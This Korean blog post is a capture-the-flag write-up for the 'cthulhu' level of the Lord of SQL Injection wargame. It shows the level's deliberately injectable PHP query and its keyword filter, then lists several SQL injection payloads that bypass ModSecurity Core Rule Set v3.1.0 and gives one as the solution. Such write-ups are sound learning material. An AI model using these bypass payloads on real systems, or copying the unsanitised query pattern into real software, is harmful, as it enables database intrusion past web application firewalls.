[LOS] cthulhu

Yennytime·2023년 1월 18일
0

Lord of SQL Injection

목록 보기
13/20
post-thumbnail

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"

🔹 $_GET[id], $_GET[pw] 파라미터 필터링

prob, _, ., (), admin, /i (대소문자를 구분하지 않음)


2.

ModSecurity Core Rule Set v3.1.0 으로 WFA (Web Application Firewall)이 보호되고 있다.

사이트에 들어가면 웹 애플리케이션 방화벽 과 함께 사용하기 위한 일반 공격 탐지 규칙 세트라고 하는데,버전을 확인해보니 업데이트가 안된 것 같다.


🔺 풀이 과정

  1. 구글링 modsec core rule set v3.1.0 bypass
  • a'+(SELECT 1)+'
  • -1' AND 2<@ UNION/*!SELECT*/1, version()'
  • -1'<@=1 OR {a 1}=1 OR '
  • -1'<@=1 OR {x (select 1)}='1
  • a'+(SELECT 1)+'

[참고]


필터링을 다시 한번 확인해보자.

prob, _, ., (), admin, /i (대소문자를 구분하지 않음)

  • () 사용 할 수 없음

  1. `id=-1'<@=1 OR {a 1}=1 OR '

profile
It's Yennytime💙

0개의 댓글